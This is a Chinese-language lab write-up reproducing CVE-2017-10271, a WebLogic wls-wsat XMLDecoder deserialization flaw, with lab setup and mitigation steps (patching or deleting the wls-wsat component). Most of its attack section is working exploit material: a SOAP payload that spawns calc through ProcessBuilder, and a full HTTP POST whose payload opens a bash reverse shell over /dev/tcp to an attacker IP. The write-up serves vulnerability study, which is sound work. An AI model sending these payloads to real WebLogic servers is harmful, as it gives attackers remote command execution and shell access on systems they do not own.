Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞復現
Weblogic 'wls-wsat' XMLDecoder 反序列化_CVE-2017-10271漏洞復現
一、漏洞概述
WebLogic的 WLS Security元件對外提供webservice服務,其中使用了XMLDecoder來解析使用者傳入的XML資料,在解析的過程中出現反序列化漏洞,導致可執行任意命令。
二、漏洞版本
受影響WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
三、漏洞復現環境搭建
1、所需環境 目標機:安裝weblogic 10.3.6.0 攻擊機:win10 安裝burpsuit
2、配置java環境
3、安裝Weblogic
3.1 官網下載(https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-main-097127.html),執行軟體
3.2不勾選 “我希望通過My Oracle Support接收安全更新"
3.3設定使用者名稱以及密碼
3.4選擇生產模式
3.5若安裝選擇的預設路徑與預設域名,在如下路徑中執行,輸入使用者名稱以及密碼,執行weblogic服務C:\Oracle\Middleware\user_projects\domains\base_domain\WebLogic.cmd
3.6本地環境測試,出現如下圖,說明weblogic環境搭建成功
3.7 win10測試訪問http://192.168.10.171:7001/wls-wsat/CoordinatorPortType
四、漏洞復現
1、訪問http://192.168.10.171:7001/wls-wsat/CoordinatorPortType,存在下圖則說明存在漏洞
2、漏洞驗證(POC)
2.1Poc如下,在目標計算機上呼叫計算器
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>calc</string> </void> <void index="1"> <string></string> </void> <void index="2"> <string> </string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
2.2構造post資料包,並新增Content-text/xml, 把Cache-Control修改為no-cache
2.3傳送資料包,可以看到返回的狀態碼為500
2.4檢視目標機器,看到看到目標機器的計算器已經被呼叫
五、漏洞防禦
1、 升級本版本
2、 刪除根據實際環境路徑,刪除WebLogic wls-wsat元件
C:\Oracle\Middleware\wlserver_10.3\server\lib\ wls-wsat.war
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\.internal\ wls-wsat.war
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat
2.1刪除wls-wsat元件,然後重啟WebLogic服務
2.2瀏覽器訪問,如下圖,說明漏洞不存在
使用ubuntu 16.04搭建docker vulhub漏洞環境搭建
vulhub漏洞環境搭建參考: https://blog.csdn.net/qq_36374896/article/details/84102101
使用vulhub漏洞環境復現CVE-2017-10271,參考文件:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
1.啟動測試環境
docker-compose up -d
2.瀏覽器訪問http://172.17.0.1:7001/wls-wsat/CoordinatorPortType
3.構造post資料包,反彈shell #注意反彈shell需要把特殊字元進行編碼(html轉義符對特殊符號進行轉換或者利用burpsuit使用html編碼), 否則解析XML的時候將出現格式錯誤
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 172.17.0.1:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type:text/xml Content-Length: 641 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.10.135/7777 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
4.此時檢視kali,可以看到成功反彈shell
&n